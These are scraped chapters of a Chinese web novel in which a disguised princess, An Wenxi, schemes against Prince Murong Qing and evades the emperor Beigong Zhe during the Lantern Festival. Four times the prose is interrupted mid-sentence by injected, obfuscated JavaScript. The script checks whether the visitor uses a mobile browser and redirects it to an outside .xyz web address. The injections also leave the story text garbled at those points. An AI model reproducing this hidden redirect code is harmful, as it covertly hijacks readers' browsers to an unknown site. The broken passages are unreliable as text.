老伯再次驾起了牛车,和安文夕有一搭没一搭的说着话道:“姑娘,老头子瞧着你像是大户人家的小姐,怎么会在这深山里?” “不瞒老伯,因为家里人非逼着我嫁给一纨绔恶霸,小女子无奈之下,只好选择逃婚,不料在郊外遇到了土匪,慌不择路就到了这里,然后怎么也走不出去了……”安文夕说着挽了黛眉。 她不想故意骗人,但是又怎么能说她是刚从北宫喆魔爪底下逃脱的呢。 安文夕在这深山里狂奔了两个小时,发髻微乱,衣服上沾了灰尘,这个样子倒令人信了几分。 老伯听着她的话,微叹一声,“这深山里鲜有人来,且山高林密,一般到了这里的人多数会迷路。” “既然这山容易迷路,为何老伯却要到这里砍柴呢?” “小老儿最远便是到这里,再往深处也不曾去过,更何况,这里的柴好,能卖个好价钱。” “今日才不过是初十,老伯怎么就出来砍柴了?”他不是应该待在家中举家齐乐、安享天伦么。 “姑娘,你有所不知,大夏新帝登基以来,放松了对商贾的控制,而且大年初一那日皇上立后,举国欢庆,从第二日起瓦舍就开始营业,小老儿砍了柴去卖,希望能贴补家用……” 立后? 安文夕听到这个字眼嘴边一直挂着的淡笑顿时凝结在了嘴角,接下来老伯的话她一句也没有听下去。 “他立了谁为后?” “姑娘是想问新立的皇后么?”老伯没有注意到她神情有异,继续道:“我听人说好像是太后娘娘为皇上立了江家小姐为后,龙心大悦,千抬为聘大赦天下,举国上下欢腾一片。” “初二那日皇上就将一千抬聘礼全部送到了左相府,车马络绎不绝,据说足足运了一日,那盛大的场面,可惜小老儿没有机会看到……” 千抬为聘…… “夕儿,待我再次归来,便千金为聘。”那个人清润的嗓音再次在她脑海中响起,这一句誓言早就随着国丨殇破灭了,安文夕微微攥了攥衣角。 呵…… 他终于还是立了她为后,青梅竹马,这情谊果然是他人难比,安文夕讥讽的勾了勾唇。 安文夕听着老伯的话,心口钝钝的疼,闷得难受,她明明一遍遍的告诉自己已经不爱了,为什么听到他立江向晚为后心中会这么烦躁? 她一直不想去面对自己对他的感情,每每都用恨意去麻痹自己,终究不过是自欺欺人,原来她一直都没有放下她的九哥哥。 恨之深,爱之切,这个道理她比谁都懂不是么。 安文夕咬着唇,恨自己无能,不能去控制自己的感情。 怪不得他那日走得那么早,原来竟是为了这个。既然他要立后,为何还要来找她? “姑娘……” “姑娘,姑娘……” “老伯,你叫我?”安文夕蓦然回神。 “我见姑娘一直在走神……” 安文夕扯了扯嘴角,“我在想老伯说的那盛大的场面……” 老伯微叹了口气,“那可不是我这泥腿子可以想的出来的。” “驾、驾——”老伯扬起了牛鞭。 “姑娘,你想去哪?” “老伯将我带到这附近的城镇便可。” 一路颠簸,终于在迫近日暮之时赶到了毗邻承安的小城丹城,安文夕从怀中取出十两银子强塞给老伯做谢礼,然后自己找了家客栈住了下来。 第二日,安文夕展开安景晟的信,蹙了蹙眉头,耳边似乎又响起了那个人自负狂妄的话:本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377229|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王相信凤公子迟早回来找本王的。 手中紧握着书信,晟哥哥竟然要让她去找六王爷慕容清合作。 那可是一头蠢蠢欲动的狼! 安文夕收拾一番,戴上**,将墨发束至发顶,身着男子衣服出了客栈,前往承安。 红灯高悬,张灯结彩,人潮如流,年关的承安比平常更添几分繁华。 安文夕坐在马车内,撩开车帘,看向车外的景致,一大早的承安便已经人声鼎沸了。不少小孩子手中拿着炮竹,充满童趣。一些酒楼前面更是车马如云,许多达官贵人拜亲访友,宴请亲朋好不热闹。 远离了闹市,周围寂静了不少,安文夕缓缓放下车帘。 “驭——”马车骤停,安文夕蓦地一个趔趄。 “公子,前方有一辆马车拦住了去路。”赶车的男子对她说道。 安文夕略略皱眉,“将马车靠在路边,让他先行。” “公子,那人让我们先行。”赶车男子对着车内道。 “既然如此,我们先行便是。”安文夕应了一声,素手掀开车帘,却不料正和对面掀着车帘的男子对个正着。 竟然是他! 眼前这个放肆张扬的男人不正是慕容清么,没想到他现在竟然如此正大光明的活动在承安。 显然那人看到她也是一脸惊讶,嘴角含笑道:“没想到在这里会遇到凤公子,真巧。” “的确巧。”安文夕说了一声,刚欲放下车帘,只听那人又道,“既然遇上了便是有缘,不知凤公子可否赏脸去陌上花开茶肆坐一坐?” 本欲拒绝,想起晟哥哥那封信,她淡道:“好,就依六王爷。” 二人同上了茶肆二楼,慕容清看着面前冒着热气的茶水,指尖轻轻的摩挲着杯沿,神情闲适又悠远。 “本王想着像凤公子这样的妙人应该是喜欢品茶抚琴的,凤公子的琴艺一绝,不知在茶艺上有研究?” 怎么他一开口,安文夕就觉得他话里有话。 “研究谈不上,不过是平时喜欢饮上两口罢了。” “凤公子过谦了,你尝尝这茶如何,是否合你胃口?” 安文夕浅浅啜了两口,这茶清醇中透着淡雅的香,虽比不上她平时喝的,但在宫外茶肆中算是顶好的了。 “还不错。” 慕容清饮尽杯中茶,说道:“味道不错,但还是淡了些,比不得宫中的贡茶。”说着摇了摇头。 呵……宫中的贡茶,他这是在暗示她,只有做了皇上才能拥有最好的东西,享受到这世间的尊贵么。 果然露出了狐狸尾巴,安文夕又啜了一口茶,垂下眼睑,掩去了眼底的深意。 “以前父皇经常将宫里的贡茶赏赐本王,不想本王这嘴都给养刁了,一时喝不惯这些个茶。” “六王爷若是有话不妨直说。” 慕容清颇为赞扬的看了她一眼,聪慧的人向来不必多费口舌。 “上次的事情,凤公子考虑的如何了?”慕容清慢慢靠近,“自立为王,共同灭夏,一分为二!” 这样大逆不道的言论也只有他慕容清敢说的如此明目张胆。 第112章 自负聪明 第一百一十二章自负聪明 这时,慕容清突然意味深长的笑了笑,“晟世子已经同意和本王结盟了。” 安文夕蓦地一滞,晟哥哥已经和慕容清谈好了么,为何来信上没有说这一点。 “凤公子可要想好了,本王的时间可不多。” “晟哥哥的态度就是我的态度。” 慕容清微微一愣,“难不成凤公子想将江山拱手让给安景晟,真看不出你们兄弟二人的关系如此之好。” 呵……他在试探她! 安文夕赫然抬眸,勾唇,“这个就不劳六王爷操心了。” “呵……以前常听说安国君想将安国江山传于安景晟,不曾想这竟是真的。”慕容清眼底有抹悠远的思绪。 “只是,这对凤公子而言未免有些可惜罢了。”毕竟他才是安国君的亲血骨肉。 这个人果然不是什么善类,既然已经同盟,他竟然还挑拨她和晟哥哥的关系,可是若是他知道她就是安文夕的话,只怕他就不这么说了。 安文夕不以为意的笑了笑,“我从小就不喜权势,而晟哥哥正好有经天纬地之才。” “也是,挟势弄权只会玷污了凤公子的这一身清傲。”慕容清笑道,只是这笑看不出有几分真意。 他透过二楼的窗子看向下面,大堂内的人正在议论着北宫喆千抬为聘江家女的事情,短短十日的时间,可谓是大夏百姓无人不知无人不晓。 慕容清看着安文夕嘴角凉淡的讥笑,“看来这江佑城已经和曹太后勾结在一起了。”他毫不避讳说道。 “不知道到时候那江向晚是偏向北宫喆还是偏向她爹和曹太后。” “自然是北宫喆。”安文夕直截了当道,同为女人她清楚江向晚对北宫喆的感情,自然可以猜得到她的选择。 “这江向晚倒是用情至深,只可惜北宫喆的那颗心根本就不在她身上而是在——”说到此处,慕容清蓦地一停,看着安文夕的双眸,缓缓道,“在凤公子的妹妹安文夕身上。” “是么?” “这夏宫上下皆传瑾淑妃被赐死,实际上北宫喆将她囚在了宫中,别人不可见罢了。” “难道凤公子不想将她救出来?” “既然是北宫喆将她囚在宫中,必是布下了天罗地网,如何能救?”知道**她的**,安文夕乐得糊涂,顺着他的话说道。 “本王有办法,不知凤公子可否一试?” “六王爷请说。”她本人就在他的面前,她就不相信他还能说出花来。 “十五,元宵花灯节。到时天城湖上泛舟观花灯,必是热闹非常,那位自然也会出宫,彼时凤公子在天城湖上抚琴即可,令妹的事情就交给本王。” 安文夕的脑袋飞快的转了起来,看着慕容清一副老谋深算的样子,心中不禁冷笑,这慕容清要拿她做抢使呢。 那么,他让她牵制住北宫喆,那他去夏宫不单单是为了救人吧,难道是……安文夕脑中飞快的闪过一抹震惊。 这还没过河呢,他就急不可待的想拆桥了么? 安文夕在心底不禁冷笑,这六王爷自负聪明一世,可也比把别人都当做傻子! “好,就依六王爷,希望六王爷不要让我失望。”安文夕嘴角噙着一抹令人难以捉摸的笑意。 “自然,我们是盟友,一荣俱荣,一损俱损,本王定会让凤公子满意。” 安文夕浅啜了口茶道:“时间不早了,我就不打扰六王爷了。” “凤公子请。” 慕容清看着安文夕的背影,眸光顿时深沉起来,对身侧使了个眼神,他再次看向面前的蒙顶茶,丝毫没有喝的欲望,冷淡道:“这茶果然涩的厉害,不喝也罢。” 秋月眼神轻蔑的扫了眼桌上正冒着热气的茶,说道:“这些个茶别说入不了王爷的口,就连奴婢都觉得寒碜。” 过了片刻,房门口传来一阵声响,慕容清霍然抬头,看见安文夕手中死死地钳制着他刚刚派出去的暗卫,她满脸的讥讽,冷冷对他道:“六王爷若是这样的话,未免让人心寒。” 慕容清不动声色的瞧了眼安文夕,他的暗卫功夫一等,常人难比,没想到竟然被他发现了。 上一次是跟丢,这一次竟然亲自送到了他的面前,看来这凤公子也不像是他表面那样孱弱儒雅。 “我想凤公子一定是误会了,本王是让他暗中保护凤公子,也算是尽尽本王的诚意。” 安文夕冷哼:“不必了,六王爷的美意心领了。”她往前一推,将手中的暗卫扔在地上,然后转身离去。 “这凤公子竟然如此狂妄。”秋月不满道。 慕容清眸光渐冷,扫了眼地上的人呢,斥道:“饭桶,还不滚下去!” “王爷,他被点穴了。”秋月察看了一眼,然后道,“点穴手法奇特,属下解不了。” 慕容清脸色又冷了几分,眸光深远,“哼,就让他们先斗个你死我活,本王只需纵观大局,坐收渔翁之利便可。” “王爷说的极是,不管他们怎么斗,这线都在您手里呢,只要您一收线,他们再怎么能耐,也扑腾不下去了。” 安文夕隐在暗处,听着里面主仆二人的对话,嘴角的讥意扩大。 这慕容清想让他们和北宫喆相争,而他却想坐享其成。鹬蚌相争,渔翁得利,他怎知,她就不是那渔翁呢? 安文夕身形一闪,转瞬消失在繁华的承安大街。 慕容清听着秋月的话点点头。 地上的那暗卫有些不解问道:“不如直接将宫里那位给……这样岂不是更能挑起北宫喆和凤公子的矛盾。” “宫中自然没有安文夕,不然凤公子岂会比你我还不上心?” “可是也不尽然,依属下看,安国君独宠十公主,而凤公子一直都没有得到认可,不然安国君也不会有将皇位传于安景晟的打算,只怕凤公子和十公主关系并不亲和。” 慕容清沉声道:“你说的有道理,也许凤公子巴不得那安文夕**呢,这件事按原计划进行。” 安文夕并没有去凤青轩,而是拐了两个弯儿去了潇湘馆,负手立在窗前,像是在等待着什么。 “扣扣扣——”突然传来三声敲门声,安文夕蓦地转过身来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377230|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只见来人径直推来了门,正是将近一月未见的欢凉和袭匀,二人皆做男人装扮。 袭匀关上门,欢凉立即扑了过来,一把抱住安文夕,眼眶有些湿润,“公主,你可回来了,欢凉都想死你了。” “好了好了,你抱那么紧,她都快被你勒**。”袭匀提醒道。 欢凉刚放开安文夕,袭匀立即凑了上来,张开双臂,“小师妹,你不介意我也来抱一下吧,师兄想死你了。” 安文夕微微避开了下,“我介意。” “切,小气。”袭匀不以为意的收了手,径自坐了下来。 安文夕不去管他,看向欢凉道:“你的伤如何了?” “有月公子在,这点小伤早就好了。” “有月公子在……”袭匀学着欢凉的语气,酸酸的撇了撇嘴。 “公主,这些天你都去哪了,你也不和我们联络,我和袭匀怎么也找不到你,大家都快急**。” “不是说和玉公子回西楚么,我和欢凉几乎都快赶到西楚了,才收到玉公子的通知说你根本就没去,我们又匆匆赶回了承安。”袭匀有些愤愤道。 “公主,是不是北宫喆他……” 安文夕点点头,“我被北宫喆带走,一直囚在青末山庄。”的确是“囚”在那里的。 “那青末山庄处在山林深处,十分难寻,而且他又在青末山庄派了大量的羽卫,我的一举一动皆在监视之中,根本没办法和你们联系。” “啧啧,想不到那北宫喆竟然如此痴情,为了你关住你,竟然不惜出动了羽卫,还把你藏在深山老林里,若你不出来,我们这一辈子都不一定能找的到你。”袭匀叹道。 耳边突然响起那日他温柔又霸道的话:他想将她囚禁一辈子!安文夕睫毛轻颤了颤。 “那个**痴情个屁,他就是想永远的囚禁着公主!”欢凉听了袭匀的话气的跳脚。 “哎哎哎,你说脏话。” “老娘就是说脏话了,怎样?” …… “好了好了,叫你们来不是让你们来吵架的。”安文夕捏了捏眉心,不耐的打断二人。 “晟哥哥来信上要和六王爷慕容清结盟,可是我觉得他野心太大,不是我们所能掌控的,只怕到时候反被他当做垫脚石。” 袭匀沉声道:“小师妹说的对,我也不赞成和慕容清那只狡猾的狐狸同盟。” “欢凉你给晟哥哥传信说明此事,希望晟哥哥多加考虑。” “是,公主。” “小师妹,你不觉得晟世子有时候太过急功近利了么,竟然会看上慕容清那种野心勃勃的人。” 安文夕垂了眼睑,没有接话,半晌道:“目前我已经答应了慕容清,十五元宵节动手。” “什么?” “他现在不识我身份,为表结盟诚意,他答应去宫里将安文夕救出来。” “噗——”袭匀嘴里的一口茶全部被喷了出来,这真是太搞笑了,这小师妹明明就在眼前,要去宫里救什么人? “我猜测慕容清进宫只怕是想要图谋传国玉玺!”安文夕眸光深深。 第113章 断袖癖好 第一百一十三章断袖癖好 “如此看来,那慕容清已经等不及要称帝了!”袭匀放下了杯中茶。 “他想利用我去拖住北宫喆,他方便进宫。” “这慕容清也太不要脸了。”袭匀愤愤,拿别人当枪使,他还能做的再明显点么! “公主,既然你知道他在利用你,为何还要答应他?”欢凉急道。 “谁利用谁,还不一定呢!”安文夕勾唇。 欢凉看着安文夕泰然自若的模样,知道她心中已有对策,便道:“公主就交代欢凉做什么吧。” “彼时慕容清进宫的时候,你和袭匀同去,跟在他后面,将他偷到的玉玺给抢回来!” “小师妹,这个主意好。”袭匀赞道。 “那公主你呢,难不成你要自己一个人拖住北宫喆么?” “你不必担心我,那慕容清不是好糊弄的,你们多加小心。” “不如让袭匀带其他的人去,我陪着公主吧。” “不行,人多了反而会引起北宫喆的怀疑。” “对了,公主,昨晚青玄来了凤青轩。” 安文夕睫毛一颤,他果然怀疑她和凤青轩的关系了。 “这两日我就待在潇湘馆了,你们也多加小心。” “左右北宫喆的目标不是我们,你自己才更应该小心。”袭匀语重心长道。 “那北宫喆的目的不是你,但是那老妖婆的目的可是你!” 自从袭匀追着安文夕去了枫月谷,曹暮烟就坐不住了,虽然她后知后觉明白了什么,但是依然不妨碍她对袭匀的迷恋,不知道出动了多少暗人私下寻找。 果然,袭匀脸色一变,不悦的看了眼欢凉,然后苦着一张脸对安文夕道:“小师妹,师兄为了你,可是把清誉都毁了,你得为我负责。” “负责么?”安文夕挑眉。 “小师妹,你说师兄也二十好几了,你何时能为师兄的终丨身大事操心操心。” “长得是像二十好几的人,可这里却依旧停留在十几岁!”欢凉指着他的脑袋道。 “嘿,我说你这个臭丫头是不是想打架,本来我还想着你凶巴巴的没人要,我就勉为其难的收了你……” “不要,如果嫁给你,我宁愿终丨身不嫁!” “能动手就别吵吵,出了门往前走有一处空地,打架再好不过,不送。”安文夕不耐的转身。 袭匀的意思她岂会看不出来,只是感情的事情还得欢凉自己做主。 “哼,谁要跟他打架,我要在这里陪公主。”欢凉气呼呼的扭了头。 “得,你们不留爷,自有留爷处。” “老妖婆可是巴不得你呢,要走赶紧走。” “你——”袭匀对着欢凉比出一根手指,磨了磨牙。 “不送!”欢凉直接将他推至门外,不客气的一把关上了门。 入夜,潇湘馆再次掀起了新一波的纸醉金迷,灯影婆娑下勾勒出满目奢华,潇湘馆是承安名副其实的消金窟,在这里的小倌儿没有休息一说,一到入夜,全都活跃起来。 “这是我新请的琴师,凤公子。”映璃向众人介绍着安文夕,她浅浅的勾了勾唇,算是向大家打了招呼。 映璃话音刚落,底下顿时掀起一阵轩然大波,凤公子竟然入驻了潇湘馆! 好像以前凤公子也在凤青轩弹过琴,只不过这样的妙人经常流连青楼楚馆,到底是有些可惜了。 自这晚起,安文夕一连三日,每晚皆在高台上抚琴,为那些莺莺燕燕伴奏。 由于凤公子的到来,这潇湘馆的客人明显增多了不少,大气清雅的乐声自然比那些靡靡之音更受欢迎。 安文夕不动声色的抚着琴,自动忽略那道探究的目光。她在这里守了三日,终于等到了那人。 虽然那人装着低调,位置也不显眼,但周身的气场让人无法忽略。 安文夕指尖划过琴弦,流泻出一室华音。 她感觉这一曲《凤求凰》是她有史以来弹奏时间最长的。 在那人的注目下,只有她自己知道,她的指尖颤的厉害。 一曲毕,她背了琴转身步入后台,来人伸手拦住她的脚步。 “凤公子,我家公子有请。”来人正是青玄。 安文夕抬头,压低了声音道:“凤轻歌从不见客,这是一贯的规矩。” “凤公子等一等,先看一下这个东西再做决定也不迟。” 青玄掌心赫然躺着一粒红豆。 玲珑骰子安红豆,入骨相思君知否? 这是她曾借用唐代诗人温庭筠的诗向他表达相思,如今再看这红豆,她的眼底不自觉流露出淡淡讥意来。 “这位公子,你这是什么意思?”安文夕佯装诧异的看着他道,“红豆意表相思,难不成你家公子是断袖,可惜凤轻歌没有这方面的癖好,公子还是另寻他人吧!” 安文夕说完,轻轻地推开青玄的手,径直走进内室。 “噗——”隐在一旁的袭匀看着这幕不禁喷笑出声,这小师妹的嘴巴也忒毒了点。 青玄脸色黑了黑,他竟然是皇上是断袖…… 这位看似清高孤傲的凤公子嘴巴歹毒的和月公子有一拼。 “这位公子,不好意思了,凤公子向来就是这个脾气,您别见怪。”映璃立即笑着过来圆场道。 “无妨。”青玄收紧了手中的红豆。 “公子若是想见凤公子的话,不如等到元宵花灯节,到时凤公子会在天城湖上泛舟,为文人墨客抚琴添乐。” “原来如此,多谢璃姑娘了。” 见青玄独自归来,那人黑瞳蓦然抬起,眼底泛出丝丝缕缕冰霜。接过青玄手中的红豆,转瞬将其捏成齑粉。 果然,到了第二次晚上,那人没有再来潇湘馆。 正月十五,元宵花灯节。 一大早,街上便人流如潮,红色灯笼高悬,各色各样的花灯如花团锦簇一般聚在一起分外好看,整整一日,承安大街车如流水马如龙。 迫近日暮,人声不歇,夜色给承安长街更添了几分繁华。放眼去,长街灯火阑珊,宛如隐隐泛着火光的盘龙,长街人声鼎沸,十丈一桅杆,高挂灯盏,色彩斑斓的灯笼像是迫不及待与天空的焰火交相呼应一般,盛绽着绝顶的美艳,爆竹声声炸响,或长街爆红,或直达天穹,喧嚣着元宵的欢愉。 安文夕心念一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16385068|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,岁初元宵繁华梦,红尘俗笔恐难勾。 她透过窗户观看着下面的景象,过了半晌,才缓缓收回视线,素手撩拨了琴弦,然后将琴仔细的收好。 “公主,你自己真的可以么?”欢凉不放心道。 “应该担心的是你们,皇宫本就戒备森严,这次你们不仅要从众多羽卫眼皮子底下溜进皇宫,而且还要提防着慕容清。你们定要多加注意,要以安全为重,玉玺是次要的。” “小师妹你放心,师兄向来是打得过就打,打不过就跑。” 安文夕点点头,背起了七弦琴,推门而出。 此时的天城湖上已然星火点点,无数的花灯装点了整个天城湖面,好不璀璨。 不少官家小姐及贵族公子们相伴点燃花灯,停驻在岸边看着一盏盏花灯飘远,许下美好心愿。 安文夕嘴角不自觉得扬了起来,这承安的夜色的确很美。 画舫早早的停泊在了岸边,来人看见他来,忙迎了上来,“凤公子,您终于来了,大家已经等候多时了。” 这个人他认识,是潇湘馆负责琐事的龟奴。 安文夕上了画舫,里面的文人墨客正在吟诗品茶,有人看到他,立即让出了坐来。 “凤公子,您坐您坐。” “有事耽搁来迟了,抱歉了。” “凤公子哪里话,你能来就已是我们的荣幸了。” 安文夕还未落座,只见身侧的帘子突然被人拉开,安文夕迎面对上一道冰冷的视线,那人眼神深邃,似乎要窥探到她的内心一般。 “这是九公子。”有人热心的为她介绍。 九公子?恐怕他早就怀疑她了! 安文夕不惧他的眸光,对他微微点了点头,然后取下背上的琴,翩然落座。 北宫喆眸光森森,右手把玩着手中的茶盅,视线一直停留在安文夕身上,嘴角噙着极淡的笑。 “不知大家想听什么曲子?”安文夕素手拨了下琴弦,矫正了琴音。 “《相思怨》!”不待众人回答,北宫喆清湛的嗓音传来。 安文夕睫毛蓦地一颤,这《相思怨》可是她以前经常给他弹的,想要试探她么? 她抬起头来问道:“你们想听什么曲子,都和这位公子一样么?” “在下想听《凤求凰》,这可是凤公子的名曲,只可惜一直没有机会听得罢了。” “在下也想听《凤求凰》。” …… “这位公子,不好意思,大家都想听《凤求凰》。”安文夕婉拒了北宫喆。 本以为他会动怒,没想到他淡淡笑了道:“那便下一首吧。” “好。”安文夕话音一落,琴声起。 声声柔缓又明亮的音调顿时令众人沉浸其中,安文夕微微阖了眼睛,慢慢融入之中。 一曲而终,余音绕梁,三日不绝。 众人从中回过神来,不禁称赞不绝。 “能得凤公子抚一曲,三生有幸。”那人尚且沉醉在刚才的琴声中。 “众位谬赞了。”安文夕收了手。 “凤公子,该到《相思怨》了,本公子可是等急了呢。”北宫喆看着她悠悠道。 第114章 画舫出事 第一百一十四章画舫出事 “好,下一曲《相思怨》。”安文夕微微颔首。 为君抚一曲,怜取相思意。 但愿君常在,不做相思怨。 琴声转为萋萋,闺怨相思,令人潸然泪下。 这首曲子她再熟悉不过,此时却微微有些乱了,不是琴音乱,而是她的心乱了。 安文夕垂眸,深吸了口气,将心思全部凝聚在琴弦上。 北宫喆小口啜着茶,毫不避讳的打量着安文夕的神情,仿佛要将她的一举一动刻在脑海中一般。 琴声渐渐急切起来,声音愈显悲凄,声声催人泪。 曲终,听者无不啜泣感伤。 只见那人放小盏放在案上,抬头看向她道:“都说凤公子琴艺无双,今日看来,倒也未必。” “哦,此话怎讲?”有人闻言立即提出了质问。 “本公子早年曾有幸听得安国十公主抚一曲《相思怨》,凄凄切切,悲声艾艾,那番意境比今日更胜上几分。” “人外有人,天外有天,凤轻歌自愧不如。”安文夕抿唇道。 今日她弹得《相思怨》,自然比不上从前。心境不同,琴声自然也就变了。 “不知本公子是否有幸能邀得凤公子同游?” 北宫喆身侧的青玄对安文夕做了个请的手势,安文夕顺着他的手势看去,停在对面的画舫奢华非常。 “这位公子,你这是什么意思?凤公子今日是为大家而来,你怎么能独自将他带走?”有人不满道。 “这位仁兄此言有理,我等绝不会让你将凤公子带走!” …… 北宫喆赫然抬眸,黑瞳微缩,冰冷的眼风扫了眼众人,刚才还义愤的众人顿时禁了口,不禁打了个寒颤。 “九公子,你……” “怎么,大家有异议?”北宫喆握着小盏的手微微一顿,手中的青瓷盏顿时化作了齑粉。 青玄嘴角一抽,这真是赤裸.裸的威胁! “凤公子,请——”青玄再次伸出手道。 安文夕素手抚过琴弦,心想,这时间也差不多了。 “砰——”不远处突然传来一声响声,立即吸引了众人的视线。 “不好了,不好了,出事了!**了!” 果然,她最担心的事情还是发生了,安文夕嘴角一扯,这慕容清果真没有让她失望啊! 北宫喆眸光一敛,看了眼安文夕,立即掠了出去。 安文夕和其他文人士子也跟了出去。 不远处的画舫上一片狼藉不堪,不少贵族小姐云鬓微乱,被吓得花枝乱颤,慌慌张张的跑出了画舫。就连不少纨绔子,此时也被吓得脸色惨白。 “砰、砰——”几位侍卫模样的人接连跳入了水中,只怕是去追那行凶之人。 “翰林院侍读李学士李培**!”人群中有人惊呼道。 安文夕杏眸骤缩,那李培可是江佑城的得意门生! 这次刺杀既可以给江佑城和曹太后的一个警告,还可以公然挑衅北宫喆的权威,更重要的是她就在命案现场,自然可以顺理成章的将这一切全部推倒她身上,一箭三雕,这慕容清真是好算计啊! 安文夕讥讽的勾了勾唇,让她做替罪羊,这慕容清真是太不把她放在眼里了。 “皇上,此事只怕早有预谋。”青玄小声对北宫喆道,眼角的余光微不可见的朝安文夕这边看来。 对岸的画舫上江佑城一脸怒气的走了出来,对身侧厉声道:“给老夫追,一定要将行凶之人缉拿归案!” “大人,小的捡到了这个。”一个侍卫将手中的令牌递给了江佑城,江佑城看后,眸色顿时变得幽深起来。 北宫喆不动声色的观察着这一幕,突然,一抹黑影骤现,靠在北宫喆耳边说了两句,北宫喆立即脸色大变,回头看了安文夕一眼道:“凤公子,他日我们再好好聚一聚。”然后纵身直接从水面上掠了出去。 “好。”安文夕唇边绽开了两抹梨涡。 看着北宫喆那急不可待的样子,只怕是夏宫此时已经一片大乱了。 由于此次游船发生了命案,衙门里来了人到此处搜查,便提前结束了此次元宵花灯节。 安文夕收了七弦琴,背了起来,复又返回了潇湘馆。 安文夕回到房间,刚刚推门而入,便扑面而来一阵浓郁的血腥味道。 袭匀褪去了外衣,裸露着半个肩膀,臂膀上的刀伤深可见骨,而一旁的欢凉正在为袭匀清洗伤口,铜盆中血红一片。 她立即挽了黛眉,问道:“怎么回事?” “啊啊啊,疼疼疼。”袭匀咬牙。 安文夕立即解下了后背上的琴,帮着欢凉给袭匀上药。 待给他处理好了伤口之后,地上顿时多了两盆血水,门口突然传来一阵急切的敲门声,映璃闪身进来道:“公子,不好了,外面来了官兵要搜查我们潇湘馆。” 映璃面色丨微沉,“来人说是今日的翰林院侍读李培被刺杀,如今已经在全城进行搜捕,据说刺客肩膀上挨了一剑……”她说着看向袭匀被包扎起来的伤口处。 安文夕眸光看向地上的血水,这么浓郁的血腥味,只怕一会那官兵来了,无法遮掩。若是被发现了,只怕他们今晚所做的,就要功亏一篑了! “不好,他们来了。”映璃听着渐进的脚步声,眉头一蹙,“公子赶紧想办法,我先去拦着他们。” “如今怎么办?”欢凉脸色浮现一抹焦急。 安文夕飞快的将欢凉和袭匀一把扔到床上,厉声道:“你们两个给我演的卖力点,这些血水我来负责!” 她说完之后还不忘了给他们盖上被子。 当厚厚的被子劈头盖下来,欢凉顿时明白了安文夕那句演的卖力点是什么意思,蓦地羞红了脸,周遭都是他的气息,让她逃无可逃。 安文夕端着血水绕过屏风,将盆中的血水悉数倒进了刚刚为袭匀准备的浴桶中,血水瞬间被稀释,浓郁的血腥味道也立即淡了下来。 看着一旁放着的梅花瓣,安文夕一把全部洒进浴桶中,然后一咬牙,将身上的衣服全部褪下,跳入水中。 “吱呀——”房门被人粗鲁的踹开,映璃看着地上的血水被收拾干净,不禁松了口气。 “啊,你讨厌!”欢凉红着脸说完这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16385069|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句恨不得咬断自己的舌头。 “不好,有人来了!”袭匀从被子里探出头来,看见门口突然出现的官兵,脸上浮现惧色,立即用身上的被子将身体裹紧。 “嗤……”门口顿时传来了一阵笑声,那人看向映璃道:“怪不得你这花娘不让进,原来是这回事。” “这位官爷说笑了,奴家怎敢为难官爷,您看这……还要检查么?”刚才安文夕还在这里,此时却不见了踪影,映璃那颗悬着的心始终不能落下。 “自然要检查。”为首的官兵径直进了房间。 他身后的人看到袭匀那怂样,不屑笑道:“大哥,我们一来,这小子只怕给吓软了,哈哈。” 为首的那人扫了眼袭匀,冷哼一声,大步跨向屏风后面。 安文夕听着渐进的脚步声,立即将身子沉进水中,惊呼道:“啊,你们……不许过来!” “呵,这小倌儿长得还挺俊的。”同行的不少官兵眼睛都直了,直勾勾的盯着浴桶看,幸好上面撒着花瓣,倒也看不见什么。 “大哥,不如我们……” “你不要命了,这次可是江大人下的命令,放走了刺客,你我都没有好果子吃!”他说着走近安文夕,似乎想要通过水面上那层花瓣看出点什么。 “这里怎么会有股血腥味?”那人眸光一凛,正欲伸手去抓安文夕,安文夕蓦地伸出胳膊道:“这位官爷,小的手腕不小心被花瓶碎瓷打碎,如今这一泡澡,只怕这伤口又泡开了。” 